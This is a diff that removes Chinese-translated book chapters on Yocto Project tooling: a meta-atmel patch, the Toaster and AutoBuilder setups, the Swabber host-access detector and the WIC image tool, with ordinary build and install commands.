`meta-openembedded/meta-python`层 -* `meta-qt5`层 - -最终结果在`bblayers.conf`文件中的`BBLAYERS`变量中可用,如下所示: - -```sh -#added by hob -BBFILES += "${TOPDIR}/recipimg/custom/*.bb" -#added by hob -BBFILES += "${TOPDIR}/recipimg/*.bb" - -#added by hob -BBLAYERS = "/home/alex/workspace/book/poky/meta /home/alex/workspace/book/poky/meta-yocto /home/alex/workspace/book/poky/meta-yocto-bsp /home/alex/workspace/book/poky/meta-atmel /home/alex/workspace/book/poky/meta-qt5 /home/alex/workspace/book/poky/meta-openembedded/meta-oe /home/alex/workspace/book/poky/meta-openembedded/meta-networking /home/alex/workspace/book/poky/meta-openembedded/meta-ruby /home/alex/workspace/book/poky/meta-openembedded/meta-python" -``` - -在开始完整的构建之前,需要对`meta-atmel`层进行一些必要的更改,如下所示: - -* 将`packagegroup-core-basic`替换为`packagegroup-core-full-cmdline`,因为最新的 POKY 已更新了`packagegroup`名称。 -* 删除`python-setuptools`,因为它在`meta-openembedded/meta-oe`层以及新的`meta-openembedded/meta-python`层中不再可用,新的`meta-openembedded/meta-python`层是所有与 Python 相关的食谱的新占位符。 删除了`python-setuptools`工具,因为它能够下载、构建、安装、升级和卸载额外的 Python 包,并且不是 Yocto 的强制要求。 这就是它的一般目的。 -* 前面关于`qt4-embedded-4.8.5`的`qt4-embedded-4.8.6`更新的更改(如前面所示)显示了错误。 - -以下补丁提供了对`meta-atmel`层所做的所有更改: - -```sh -From 35ccf73396da33a641f307f85e6b92d5451dc255 Mon Sep 17 00:00:00 2001 -From: "Alexandru.Vaduva" -Date: Sat, 31 Jan 2015 23:07:49 +0200 -Subject: [meta-atmel][PATCH] Update suppport for atmel-xplained-demo-image - image. - -The latest poky contains updates regarding the qt4 version support -and also the packagegroup naming. -Removed packages which are no longer available. - -Signed-off-by: Alexandru.Vaduva ---- - recipes-coimg/atmel-demo-image.inc | 3 +-- - ...qt-embedded-linux-4.8.4-phonon-colors-fix.patch | 26 ---------------------- - ...qt-embedded-linux-4.8.4-phonon-colors-fix.patch | 26 ++++++++++++++++++++++ - recipes-qt/qt4/qt4-embedded_4.8.5.bbappend | 2 -- - recipes-qt/qt4/qt4-embedded_4.8.6.bbappend | 2 ++ - 5 files changed, 29 insertions(+), 30 deletions(-) - delete mode 100644 recipes-qt/qt4/qt4-embedded-4.8.5/qt-embedded-linux-4.8.4-phonon-colors-fix.patch - create mode 100644 recipes-qt/qt4/qt4-embedded-4.8.6/qt-embedded-linux-4.8.4-phonon-colors-fix.patch - delete mode 100644 recipes-qt/qt4/qt4-embedded_4.8.5.bbappend - create mode 100644 recipes-qt/qt4/qt4-embedded_4.8.6.bbappend - -diff --git a/recipes-coimg/atmel-demo-image.inc b/recipes-coimg/atmel-demo-image.inc -index fe13303..a019586 100644 ---- a/recipes-coimg/atmel-demo-image.inc -+++ b/recipes-coimg/atmel-demo-image.inc -@@ -2,7 +2,7 @@ IMAGE_FEATURES += "ssh-server-openssh package-management" - - IMAGE_INSTALL = "\ - packagegroup-core-boot \ -- packagegroup-core-basic \ -+ packagegroup-core-full-cmdline \ - packagegroup-base-wifi \ - packagegroup-base-bluetooth \ - packagegroup-base-usbgadget \ -@@ -23,7 +23,6 @@ IMAGE_INSTALL = "\ - python-smbus \ - python-ctypes \ - python-pip \ -- python-setuptools \ - python-pycurl \ - gdbserver \ - usbutils \ -diff --git a/recipes-qt/qt4/qt4-embedded-4.8.5/qt-embedded-linux-4.8.4-phonon-colors-fix.patch b/recipes-qt/qt4/qt4-embedded-4.8.5/qt-embedded-linux-4.8.4-phonon-colors-fix.patch -deleted file mode 100644 -index 0624eef..0000000 ---- a/recipes-qt/qt4/qt4-embedded-4.8.5/qt-embedded-linux-4.8.4-phonon-colors-fix.patch -+++ /dev/null -@@ -1,26 +0,0 @@ --diff --git a/src/3rdparty/phonon/gstreamer/qwidgetvideosink.cpp b/src/3rdparty/phonon/gstreamer/qwidgetvideosink.cpp --index 89d5a9d..8508001 100644 ----- a/src/3rdparty/phonon/gstreamer/qwidgetvideosink.cpp --+++ b/src/3rdparty/phonon/gstreamer/qwidgetvideosink.cpp --@@ -18,6 +18,7 @@ -- #include -- #include "videowidget.h" -- #include "qwidgetvideosink.h" --+#include -- -- QT_BEGIN_NAMESPACE -- --@@ -106,11 +107,7 @@ static GstStaticPadTemplate template_factory_rgb =- GST_STATIC_PAD_TEMPLATE("sink",- GST_PAD_SINK, -- GST_PAD_ALWAYS, --- GST_STATIC_CAPS("video/x-raw-rgb, " --- "framerate = (fraction) [ 0, MAX ], " --- "width = (int) [ 1, MAX ], " --- "height = (int) [ 1, MAX ]," --- "bpp = (int) 32")); --+ GST_STATIC_CAPS(GST_VIDEO_CAPS_xRGB_HOST_ENDIAN)); -- -- template -- struct template_factory; -- -diff --git a/recipes-qt/qt4/qt4-embedded-4.8.6/qt-embedded-linux-4.8.4-phonon-colors-fix.patch b/recipes-qt/qt4/qt4-embedded-4.8.6/qt-embedded-linux-4.8.4-phonon-colors-fix.patch -new file mode 100644 -index 0000000..0624eef ---- /dev/null -+++ b/recipes-qt/qt4/qt4-embedded-4.8.6/qt-embedded-linux-4.8.4-phonon-colors-fix.patch -@@ -0,0 +1,26 @@ -+diff --git a/src/3rdparty/phonon/gstreamer/qwidgetvideosink.cpp b/src/3rdparty/phonon/gstreamer/qwidgetvideosink.cpp -+index 89d5a9d..8508001 100644 -+--- a/src/3rdparty/phonon/gstreamer/qwidgetvideosink.cpp -++++ b/src/3rdparty/phonon/gstreamer/qwidgetvideosink.cpp -+@@ -18,6 +18,7 @@ -+ #include -+ #include "videowidget.h" -+ #include "qwidgetvideosink.h" -++#include -+ -+ QT_BEGIN_NAMESPACE -+ -+@@ -106,11 +107,7 @@ static GstStaticPadTemplate template_factory_rgb =+ GST_STATIC_PAD_TEMPLATE("sink",+ GST_PAD_SINK,+ GST_PAD_ALWAYS,+- GST_STATIC_CAPS("video/x-raw-rgb, "+- "framerate = (fraction) [ 0, MAX ], " -+- "width = (int) [ 1, MAX ], " -+- "height = (int) [ 1, MAX ]," -+- "bpp = (int) 32")); -++ GST_STATIC_CAPS(GST_VIDEO_CAPS_xRGB_HOST_ENDIAN)); -+ -+ template -+ struct template_factory; -+ -diff --git a/recipes-qt/qt4/qt4-embedded_4.8.5.bbappend b/recipes-qt/qt4/qt4-embedded_4.8.5.bbappend -deleted file mode 100644 -index bbb4d26..0000000 ---- a/recipes-qt/qt4/qt4-embedded_4.8.5.bbappend -+++ /dev/null -@@ -1,2 +0,0 @@ --FILESEXTRAPATHS_prepend := "${THISDIR}/${PN}-${PV}:" --SRC_URI += "file://qt-embedded-linux-4.8.4-phonon-colors-fix.patch" -diff --git a/recipes-qt/qt4/qt4-embedded_4.8.6.bbappend b/recipes-qt/qt4/qt4-embedded_4.8.6.bbappend -new file mode 100644 -index 0000000..bbb4d26 ---- /dev/null -+++ b/recipes-qt/qt4/qt4-embedded_4.8.6.bbappend -@@ -0,0 +1,2 @@ -+FILESEXTRAPATHS_prepend := "${THISDIR}/${PN}-${PV}:" -+SRC_URI += "file://qt-embedded-linux-4.8.4-phonon-colors-fix.patch" --- -1.9.1 -``` - -本章给出了这个补丁,作为 Git 交互的示例,它是创建社区上游补丁时的必备补丁。 在撰写本章时,这个补丁还没有发布到上游社区,所以对于任何有兴趣为 meta-atmel 社区和一般的 Yocto 社区增加贡献的人来说,这可能是一份礼物。 - -下面将简要介绍在进行更改后获取此修补程序所需的步骤。 它们定义了生成补丁所需的步骤,如以下命令所示,为`0001-Update-suppport-for-atmel-xplained-demo-image-image.patch`。 它可以位于社区的上游,也可以使用`README`文件和`git send-email`命令中提供的信息直接到达`meta-atmel`层的维护人员: - -```sh -git status -git add --all . -git commit -s -git fetch -a -git rebase -i origin/master -git format-patch -s --subject-prefix='meta-atmel][PATCH' origin/master -vim 0001-Update-suppport-for-atmel-xplained-demo-image-image.patch - -``` - -# Toaster - -Toaster 代表一种 HOB 的替代品,在给定的时间点,它将完全取代它。 它也是 BitBake 命令行的基于 Web 的界面。 此工具比 HOB 有效得多;它不仅能够以与 HOB 类似的方式完成最常见的任务,而且还集成了一个构建分析组件,该组件收集有关构建过程和结果的数据。 这些结果以非常容易掌握的方式呈现,提供了搜索、浏览和查询信息的机会。 - -从收集到的资料中,我们可以提到以下几点: - -* 图像目录的结构 -* 可用的生成配置 -* 生成的结果以及错误和注册的警告 -* 图像菜谱中显示的包裹 -* 构建的食谱和包 -* 执行的任务 -* 有关已执行任务的性能数据,如 CPU 使用率、时间和磁盘 I/O 使用率 -* 配方的依赖关系和反向依赖关系 - -HOB 解决方案也有一些缺点。 Toaster 还不提供配置和启动构建的功能。 然而,已经采取了一些举措来包括 Hob 在 Toaster 中拥有的这些功能,这些功能将在不久的将来实现。 - -Toaster 项目的当前状态允许在各种设置和运行模式下执行。 将介绍其中的每一项,并相应地定义如下: - -* **交互模式**:这是随 Yocto Project 1.6 Release 版本提供和发布的模式。 它基于`toasterui`构建记录组件和`toastergui`构建检查和统计用户界面。 -* **托管模式**:除了 Yocto Project 1.6 发布版本之外,这是一种处理从 Web 界面触发的构建配置、调度和执行的模式。 - * **远程管理模式**:这是一种托管 Toaster 模式,定义用于生产,因为它提供对多用户和自定义安装的支持。 - * **本地托管模式或****_LOCAL_IS**:这是在临时签出后可用的模式,允许使用本地机器代码和构建目录运行构建。 它也被任何第一次与 Toaster 项目交互的人使用。 -* 对于**交互模式**,使用 AutoBuilder、BuildBot 或 Jenkins 等工具进行构建,需要与运行 Yocto Project 构建的硬件分离的设置。 在一个普通的 Toaster 实例背后,有三件事发生: - * BitBake 服务器已启动 - * Toaster UI 将启动并连接到 BitBake 服务器和 SQL 数据库 - * 启动网络服务器以读取与数据库相关的信息并将其显示在网络界面上 - -有些情况下,多个 Toaster 实例在多台远程计算机上运行,或者单个 Toaster 实例在多个用户和构建服务器之间共享。 所有这些问题都可以通过修改 Toaster 的启动模式并相应地更改 SQL 数据库和 Web 服务器的位置来解决。 通过拥有一个通用的 SQL 数据库、一个 Web 服务器和多个 BitBake 服务器(每个单独的构建目录都有 Toaster 用户界面),您可以解决前面提到的场景中涉及的问题。 因此,Toaster 实例中的每个组件都可以在不同的计算机上运行,只要进行了适当的通信,并且组件之间相互了解。 - -要在 Ubuntu 机器上设置 SQL 服务器,需要使用以下命令安装一个软件包: - -```sh -apt-get install mysgl-server - -``` - -仅有必要的包是不够的,还需要设置它们。 因此,访问 Web 服务器的正确用户名和密码以及 MySQL 帐户的正确管理权限是必需的。 此外,Web 服务器需要克隆 Toaster 主分支,并且在源可用后,请确保在`bitbake/lib/toaster/toastermain/settings.py`文件中,`DATABASES`变量指示数据库的先前设置。 确保使用为其定义的用户名和密码。 - -设置完成后,可以通过以下方式开始数据库同步: - -```sh -python bitbake/lib/toaster/manage.py syncdb -python bitbake/lib/toaster/manage.py migrate orm -python bitbake/lib/toaster/manage.py migrate bldcontrol - -``` - -现在,可以使用`python bitbake/lib/toaster/manage.py runserver`命令启动 Web 服务器。 对于后台执行,可以使用`nohup python bitbake/lib/toaster/manage.py runserver 2>toaster_web.log >toaster_web.log &`命令。 - -对于初学者来说,这可能已经足够了,但由于构建需要案例日志,因此需要一些额外的设置。 在`bitbake/lib/toaster/toastermain/settings.py`文件中,`DATABASES`变量表示日志服务器的 SQL 数据库。 在 build 目录内,调用`source toaster start`命令并确保`conf/toaster.conf`文件可用。 在此文件中,确保启用 Toaster 和构建历史记录`bbclasses`来记录有关包的信息: - -```sh -INHERIT += "toaster" -INHERIT += "buildhistory" -BUILDHISTORY_COMMIT = "1" - -``` - -在此设置可用后,使用以下命令启动 BitBake 服务器和日志记录界面: - -```sh -bitbake --postread conf/toaster.conf --server-only -t xmlrpc -B localhost:0 && export BBSERVER=localhost:-1 -nohup bitbake --observe-only -u toasterui >toaster_ui.log & - -``` - -在此之后,可以开始正常的构建过程,并且构建可以开始,同时构建在 Web 界面日志和数据中运行以供检查。 不过,有一点要提一下:使用 `bitbake –m`命令在 build 目录内完成工作后,不要忘记终止 BitBake 服务器。 - -当地的建筑与到目前为止展示的 Yocto 项目的建筑非常相似。 这是个人使用和学习与工具交互的最佳模式。 在开始安装过程之前,需要使用以下命令行安装几个软件包: - -```sh -sudo apt-get install python-pip python-dev build-essential -sudo pip install --upgrade pip -sudo pip install --upgrade virtualenv - -``` - -安装这些软件包后,请确保安装 Toaster 所需的组件;在这里,我指的是 Django 和 South 软件包: - -```sh -sudo pip install django==1.6 -sudo pip install South==0.8.4 - -``` - -对于与 Web 服务器的交互,`8000`和`8200`端口是必需的,因此请确保它们尚未保留用于其他交互。 考虑到这一点,我们可以开始与 Toaster 的互动。 使用前几章下载中提供的 POKY 构建目录,调用`oe-init-build-env script`来创建新的构建目录。 这可以在现有的构建目录上完成,但是拥有一个新的构建目录将有助于识别可用于与 Toaster 交互的额外配置文件。 - -在根据您的需要设置了构建目录之后,应该调用`source toaster start`命令(如前所述)来启动 Toaster。 在`http://localhost:8000`处,如果未执行任何构建,您将看到以下屏幕截图: - -![Toaster](img/image00353.jpeg) - -在控制台运行 Build,web 界面会自动更新,如下图所示: - -![Toaster](img/image00354.jpeg) - -构建完成后,Web 界面将相应更新。 我关闭了标题图像和信息,以确保只有构建在网页中可见。 - -![Toaster](img/image00355.jpeg) - -如前面的示例所示,在前面的屏幕截图中已经完成了两个构建。 它们都是内核构建。 第一个成功完成,而第二个有一些错误和警告。 我这样做是为了向用户展示他们构建的替代输出。 - -构建失败的原因是主机上的内存和空间不足,如以下屏幕截图所示: - -![Toaster](img/image00356.jpeg) - -对于失败的构建,提供了详细的失败报告,如以下屏幕截图所示: - -![Toaster](img/image00357.jpeg) - -成功完成的构建提供了访问大量信息的途径。 下面的屏幕截图显示了构建应该具备的有趣功能。 对于内核构建,它显示了使用的所有 BitBake 变量、它们的值、它们的位置以及简短的描述。 此信息对所有开发人员都非常有用,不仅因为它在单个位置提供了所有这些功能,还因为它提供了一个搜索选项,可以将查找麻烦的变量所花费的搜索时间减少到最少: - -![Toaster](img/image00358.jpeg) - -要停止 Toaster,可以在执行活动完成后使用`source toaster stop`命令。 - -在 build 目录中,Toaster 创建了许多文件;它们的命名和用途如下所示: - -* `bitbake-cookerdaemon.log`:此日志文件是 BitBake 服务器所必需的 -* `.toastermain.pid`:这是包含 Web 服务器的`pid`的文件 -* `.toasterui.pid`:它包含 DSI 数据网桥`pid` -* `toaster.sqlite`:这是数据库文件 -* `toaster_web.log`:这是 Web 服务器日志文件 -* `toaster_ui.log`:这是用于用户界面组件的日志文件 - -提到所有这些因素后,让我们转到下一个组件,但在提供一些关于 Toaster 的有趣视频的链接之前。 - -### 备注 - -有关 Toaster 手册 1.7 的信息可在[https://www.yoctoproject.org/documentation/toaster-manual-17](https://www.yoctoproject.org/documentation/toaster-manual-17)访问。 - -# 自动生成器 - -Autobuilder 是负责 QA 的项目,在 Yocto 项目中提供了测试版本。 它基于 BuildBot 项目。 虽然本书没有讨论这个主题,但是对于那些对 BuildBot 项目感兴趣的人,您可以在下面的信息框中找到关于它的更多信息。 - -### 备注 - -可通过[http://trac.buildbot.net/](http://trac.buildbot.net/)访问 Buildbot 的起始页面。 您可以在[http://docs.buildbot.net/0.8.5/tutorial/tour.html](http://docs.buildbot.net/0.8.5/tutorial/tour.html)找到关于快速入门 BuildBot 的指南,它的概念可以在[http://docs.buildbot.net/latest/manual/concepts.html](http://docs.buildbot.net/latest/manual/concepts.html)找到。 - -我们现在要解决的是一个开发人员普遍对待得很差的软件领域。 这里,我指的是开发过程的测试和质量保证。 事实上,这是一个需要我们更多关注的领域,包括我在内。 Yocto 项目通过 AutoBuilder 计划试图引起人们对这一领域的更多关注。 此外,在过去的几年中,个可用的开放源码项目已经转向 QA 和**持续集成**(**CI**),这主要体现在 Linux Foundation 伞形项目中。 - -作为 AutoBuilder 项目的一部分,Yocto 项目积极参与以下活动: - -* 使用 Bugzilla 测试用例和计划([https://bugzilla.yoctoproject.org](https://bugzilla.yoctoproject.org))发布测试和 QA 计划。 -* 展示这些计划,并让每个人都能看到。 当然,要实现这一点,您需要一个相应的帐户。 -* 开发供每个人使用的工具、测试和 QA 程序。 - -以上述活动为基础,它们提供了对公共 AutoBuilder 的访问,该 AutoBuilder 显示 POKY 主分支的当前状态。 夜间构建和测试集针对所有受支持的目标和体系结构执行,并且在[http://autobuilder.yoctoproject.org/](http://autobuilder.yoctoproject.org/)对每个人都可用。 - -### 备注 - -如果您没有 Bugzilla 帐户来访问约克托项目内完成的 QA 活动,请参考至[https://wiki.yoctoproject.org/wiki/QA](https://wiki.yoctoproject.org/wiki/QA)。 - -要与 AutoBuilder 项目交互,设置在`README-QUICKSTART`文件中定义为四个步骤: - -```sh -cat README-QUICKSTART -Setting up yocto-autobuilder in four easy steps: ------------------------------------------------- -git clone git://git.yoctoproject.org/yocto-autobuilder -cd yocto-autobuilder -. ./yocto-autobuilder-setup -yocto-start-autobuilder both -``` - -此项目的配置文件位于`config`目录中。 `autobuilder.conf`文件用于定义项目的参数,如`DL_DIR`、`SSTATE_DIR`,而其他构建构件对于生产设置非常有用,尽管对于本地设置不是很有用。 下一个要检查的配置文件是`yoctoABConfig.py`,它位于定义已执行构建的属性的`yocto-controller`目录中。 - -此时,AutoBuilder 应该正在运行。 如果在 Web 界面内启动,结果应该类似于以下屏幕截图: - -![Autobuilder](img/image00359.jpeg) - -因为可以从网页的页眉看到它,所以不仅对于已执行的构建,而且对于它们的不同视图和视角,都有多个选项可用。 以下是可视化透视图中的一个: - -![Autobuilder](img/image00360.jpeg) - -这个项目可以为用户提供更多的东西,但我将通过反复试验和阅读自述文件来发现剩下的部分。 请记住,此项目是使用 Buildbot 构建的,因此工作流程与它非常相似。 - -# 摘要 - -在本章中,我们向您介绍了 Yocto 项目中提供的一组新组件。 这里,我指的是 Hob、Toaster 和 AutoBuilder 项目。 本章首先介绍了 Hob 作为 BitBake 的替代品。 紧随其后的是 Hob 的 Toaster Alternative,它也有很多有趣的功能,虽然现在还不是最好的,但随着时间的推移,它将成为对学习新技术不感兴趣的开发人员的真正解决方案。 取而代之的是,他们只与工具交互,以快速、轻松的方式获得他们想要的东西。 本章最后介绍了 AutoBuilder 项目,该项目为 Yocto 项目社区提供了一个 QA 和测试平台,并且可以转换为持续集成工具。 - -在下一章中,我们将介绍一些其他的工具,但这一次,焦点将稍微转移到社区的外部以及它的小工具上。 我们还将介绍项目和工具,例如 Swabber,这是一个持续处于开发阶段的项目。 我们还将看看 WIC,一个很有个性的小工具,以及来自 Linaro 的名为 Lava 的新感觉。 我希望你们都喜欢学习它们。 \ No newline at end of file diff --git a/docs/learn-emb-linux-yocto-proj/09.md b/docs/learn-emb-linux-yocto-proj/09.md deleted file mode 100644 index 19264a39..00000000 --- a/docs/learn-emb-linux-yocto-proj/09.md +++ /dev/null @@ -1,341 +0,0 @@ -# 九、WIC 和其他工具 - -在本章中,我们将向您简要介绍一些工具,这些工具可以巧妙地解决各种问题。 这一章可以看作是你的开胃菜。 如果您对这里提供的任何工具感兴趣,我鼓励您满足您的好奇心,并尝试找到有关该特定工具的更多信息。 当然,这条建议适用于本书中提供的任何信息。 然而,这一点建议尤其适用于本章,因为我为我所介绍的工具选择了更一般的描述。 我这样做是因为我假设你们中的一些人可能对冗长的描述不感兴趣,只想把你们的兴趣集中在开发过程上,而不是其他领域。 如果您有兴趣了解更多有关其他关键领域的信息,请随时浏览本章提供的扩展信息。 - -在本章中,将提供更详细的组件说明,如 Swabber、WIC 和 Lava。 这些工具不是嵌入式开发人员在日常工作中会遇到的工具,尽管与这些工具的交互可以让工作变得更容易一些。 关于这些工具,我首先要提到的是,它们没有任何共同之处,而且彼此非常不同,可以满足不同的请求。 如果这里介绍的第一个工具 Swabber 用于主机开发机器上的访问检测,那么第二个工具则代表了 BitBake 在复杂打包选项方面的局限性的解决方案。 这里,我指的是 WIC 工具。 本章介绍的最后一个元素是名为 LAVA 的自动化测试框架。 这是来自 Linaro 的倡议,在我看来,这是一个非常有趣的项目。 它们还与像 Jenkins 这样的持续集成工具结合在一起,这可能会使它成为适合每种口味的杀手级组合。 - -# 斯瓦伯 - -Swabber 是一个项目,虽然在 Yocto Project 的官方页面上展示了它,但据说它还在进行中;自 2011 年 9 月 18 日以来就没有任何活动。 它没有 Maintainers 文件,您可以在其中找到有关其创建者的更多信息。 然而,对于任何有兴趣深入研究此项目的人来说,提交者列表应该足够了。 - -之所以选择这个工具作为本章的简短介绍,是因为它构成了对 Yocto 项目生态系统的另一种观点。 当然,主机系统的访问检测机制并不是一个坏主意,对于检测可能会给您的系统带来问题的访问非常有用,但它不是开发软件时想到的第一个工具。 当您有可能重新构建并手动检查主机生态系统时,您往往会忽略这样一个事实,即工具也可以用于此任务,并且它们可以让您的生活变得更轻松。 - -为了与 Swabber 交互,需要首先克隆存储库。 以下命令可用于此目的: - -```sh -git clone http://git.yoctoproject.org/git/swabber - -``` - -在主机上提供源代码后,存储库的内容应如下所示: - -```sh -tree swabber/ -swabber/ -├── BUGS -├── canonicalize.c -├── canonicalize.h -├── COPYING -├── detect_distro -├── distros -│   ├── Fedora -│   │   └── whitelist -│   ├── generic -│   │   ├── blacklist -│   │   ├── filters -│   │   └── whitelist -│   ├── Ubuntu -│   │   ├── blacklist -│   │   ├── filters -│   │   └── whitelist -│   └── Windriver -│   └── whitelist -├── dump_blob.c -├── lists.c -├── lists.h -├── load_distro.c -├── Makefile -├── packages.h -├── README -├── swabber.c -├── swabber.h -├── swabprof.c -├── swabprof.in -├── swab_testf.c -├── update_distro -├── wandering.c -└── wandering.h - -5 directories, 28 files - -``` - -正如您所看到的,这个项目不是一个主要的项目,而是由一些热情的人提供的一些工具组成。 其中包括来自**WindRiver**的两个人:亚历克斯·德弗里斯(Alex DeVries)和大卫·博尔曼(David Borman)。 他们自己开发了之前介绍的工具,将它们提供给开放源码社区使用。 Swabber 是用 C 语言编写的,与通常的 Python/Bash 工具和 Yocto Project 社区提供的其他项目相比,这是一个很大的转变。 每个工具都有自己的用途,相似之处在于所有工具都是使用相同的 Makefile 构建的。 当然,这并不局限于二进制文件的使用;还有两个 bash 脚本可用于分发检测和更新。 - -### 备注 - -有关该工具的更多信息,请参阅其创建者。 他们的电子邮件地址是`<[alex.devries@windriver.com](mailto:alex.devries@windriver.com)>`和`<[david.borman@windriver.com](mailto:david.borman@windriver.com)>`,在项目的提交中可用。 但是,请注意,这些是工作场所的电子邮件 ID,目前在 Swabber 上工作的人员可能没有相同的电子邮件地址。 - -与 Swabber 工具的交互在`README`文件中有很好的描述。 这里提供了有关 Swabber 设置和运行的信息,不过,出于您的考虑,下面几行也将介绍这些信息,以便您可以更快、更容易地理解。 - -第一个必需的步骤是汇编源代码。 这是通过调用`make`命令来完成的。 构建源代码并获得可执行文件后,可以使用`update_distro`命令分析主机分发版本,后跟分发目录的位置。 我们为它选择的名称是`Ubuntu-distro-test`,它特定于在其上执行该工具的主机分发版本。 此生成过程最初可能需要一些时间,但在此之后,将检测到对主机系统的任何更改,该过程将花费较少的时间。 在分析过程结束时,`Ubuntu-distro-test`目录的内容如下所示: - -```sh -Ubuntu-distro-test/ -├── distro -├── distro.blob -├── md5 -└── packages - -``` - -分析主机分布后,可以根据创建的配置文件生成 Swabber 报告。 此外,在创建报告之前,可以创建配置文件日志,以供以后与报告流程一起使用。 要生成报告,我们将创建一个包含一些特定日志信息的日志文件位置。 在日志可用后,可以生成报告: - -```sh -strace -o logs/Ubuntu-distro-test-logs.log -e trace=open,execve -f pwd -./swabber -v -v -c all -l logs/ -o required.txt -r extra.txt -d Ubuntu-distro-test/ ~ /tmp/ - -``` - -该工具需要此信息,如其帮助信息中所示: - -```sh -Usage: swabber [-v] [-v] [-a] [-e] - -l ] -o ... - - Options: - -v: verbose, use -v -v for more detail - -a: print progress (not implemented) - -l : strace logfile or directory of log files to read - -d : distro directory - -n : force the name of the distribution - -r : where to dump extra data (leave empty for stdout) - -t : use one tag for all packages - -o : file to write output to - -p : directory were the build is being done - -f : directory where to find filters for whitelist, - blacklist, filters - -c ,...: perform various tasks, choose from: - error_codes: show report of files whose access returned an error - whitelist: remove packages that are in the whitelist - blacklist: highlight packages that are in the blacklist as - being dangerous - file_detail: add file-level detail when listing packages - not_in_distro: list host files that are not in the package - database - wandering: check for the case where the build searches for a - file on the host, then finds it in the project. - all: all the above - -``` - -根据前面代码中附加的帮助信息,可以调查为 test 命令选择的参数的作用。 此外,建议检查该工具的源代码,因为 C 文件中的行数不超过 1550 行,其中最大的行是`swabber.c`文件。 - -`required.txt`文件包含有关使用的软件包以及特定于软件包的文件的信息。 有关配置的更多信息也可以在`extra.txt`文件中找到。 此类信息包括可访问的文件和包、主机数据库中不可用的各种警告和文件,以及被视为危险的各种错误和文件。 - -对于执行跟踪的命令,输出信息不多。 它仅作为示例提供;我鼓励您尝试各种场景并熟悉该工具。 以后可能会证明这对你有帮助。 - -# WIC - -WIC 是一个命令行工具,也可以被视为 BitBake 构建系统的扩展。 它是由于需要一种划分机制和一种描述语言而开发的。 可以很容易地得出结论,BitBake 在这些方面是缺乏的,虽然已经采取了一些措施来确保这样的功能在 BitBake 构建系统中可用,但这只在一定程度上是可能的;对于更复杂的任务,WIC 可以是一个替代解决方案。 - -在接下来的几行中,我将尝试描述与 BitBake 缺乏功能相关的问题,以及 WIC 如何以一种简单的方式解决这个问题。 我还将向您展示这个工具是如何诞生的,以及灵感的来源是什么。 - -当使用 BitBake 构建映像时,这项工作在一个映像配方中完成,该配方继承了`image.bbclass`来描述其功能。 在这个类中, `do_rootfs()`任务是任务,操作系统负责创建根文件系统目录,该目录稍后将包含在最终软件包中,并包括在各种主板上引导 Linux 映像所需的所有源。 完成`do_rootf()`任务后,将询问多个命令,以生成每个图像定义类型的输出。 图像类型的定义通过`IMAGE_FSTYPE`变量完成,对于每个图像输出类型,都有一个`IMAGE_CMD_type`变量被定义为从`image_types.bbclass`文件中描述的外部层或基础类型继承的额外类型。 - -实际上,每种类型背后的命令都是特定于定义的根文件系统格式的 shell 命令。 最好的例子是`ext3`格式。 为此,定义了`IMAGE_CMD_ext3`变量并调用这些命令,如下所示: - -```sh -genext2fs -b $ROOTFS_SIZE ... ${IMAGE_NAME}.rootfs.ext3 -tune2fs -j ${DEPLOY_DIR_IMAGE}/${IMAGE_NAME}.rootfs.ext3 - -``` - -调用命令后,输出为`image-*.ext3`文件形式。 它是根据`FSTYPES`定义的变量值新创建的 EXT3 文件系统,并且包含根文件系统内容。 这个示例展示了一个非常常见和基本的命令文件系统创建。 当然,在行业环境中可能需要更复杂的选项,例如,包含根文件系统以外的选项,并在其旁边添加额外的内核甚至引导加载程序。 对于这些复杂的选择,广泛的机制或工具是必要的。 - -Yocto 项目中实现的可用的机制通过`IMAGE_CMD_type`变量在`image_types.bbclass`文件中可见,其形式如下: - -```sh -image_types_foo.bbclass: - IMAGE_CMD_bar = "some shell commands" - IMAGE_CMD_baz = "some more shell commands" -``` - -要使用新定义的图像格式,需要使用以下命令相应地更新机器配置: - -```sh -foo-default-settings.inc - IMAGE_CLASSES += "image_types_foo" -``` - -通过在`image.bbclass`文件中使用`inherit ${IMAGE_CLASSES}`命令,新定义的`image_types_foo.bbclass`文件的功能是可见的,可以随时使用并添加到`IMAGE_FSTYPE`变量中。 - -前面的实现意味着,对于每个实现的文件系统,都会调用一系列命令。 对于非常简单的文件系统格式,这是一种既好又简单的方法。 然而,对于更复杂的图像格式,需要一种语言来定义格式、其状态以及图像格式的一般属性。 POKY 中提供了各种其他复杂图像格式选项,如**vmdk**、**live**和**directdisk**文件类型。 它们都定义了一个多阶段图像格式化过程。 - -要使用`vmdk`图像格式,需要在`IMAGE_FSTYPE`变量中定义`vmdk`值。 但是,要生成和识别此图像格式,`image-vmdk.bbclass`文件的功能应可用并继承。 使用可用的功能,可能会发生三种情况: - -* 在`do_rootfs()`任务上创建 EXT3 图像格式依赖项,以确保首先生成`ext3`图像格式。 `vmdk`图像格式取决于此。 -* 为`boot-directdisk`功能设置了`ROOTFS`变量。 -* 继承了`boot-directdisk.bbclass`。 - -此功能提供了生成可复制到硬盘上的图像的可能性。 在此基础上,可以生成`syslinux`配置文件,启动过程还需要两个分区。 最终结果包括一个 MBR 和分区表部分,后跟一个包含引导文件、SYSLINUX 和 Linux 内核的 FAT16 分区,以及一个用于根文件系统位置的 EXT3 分区。 此映像格式还负责移动第一个分区上的 Linux 内核、`syslinux.cfg`和`ldlinux.sys`配置,并使用`dd`命令将 EXT3 映像格式复制到第二个分区。 在此过程结束时,使用`tune2fs`命令为根保留空间。 - -从历史上看,`directdisk`的用法在其第一个版本中是硬编码的。 对于每个图像配方,都有一个类似的实现,该实现反映了基本的实现,并将遗产硬编码到配方中,以实现`image.bbclass`功能。 在`vmdk`图像格式的情况下,添加`inherit boot-directdisk`行。 - -关于自定义的图像文件系统类型,可以在`meta-fsl-arm`层中找到一个这样的示例;这个示例可以在`imx23evk.conf`机器定义中找到。 这台机器添加了接下来的两种图像文件系统类型:`uboot.mxsboot-sdcard`和`sdcard`。 - -```sh -meta-fsl-arm/imx23evk.conf - include conf/machine/include/mxs-base.inc - SDCARD_ROOTFS ?= "${DEPLOY_DIR_IMAGE}/${IMAGE_NAME}.rootfs.ext3" - IMAGE_FSTYPES ?= "tar.bz2 ext3 uboot.mxsboot-sdcard sdcard" -``` - -前面几行中包含的`mxs-base.inc`文件反过来也包括`conf/machine/include/fsl-default-settings.inc`文件,该文件又添加了一般情况下的`IMAGE_CLASSES +="image_types_fsl"`行。 使用前面的行可以首先为`uboot.mxsboot-sdcard`格式可用的命令执行`IMAGE_CMD`命令,然后执行特定于`sdcard IMAGE_CMD`命令的图像格式。 - 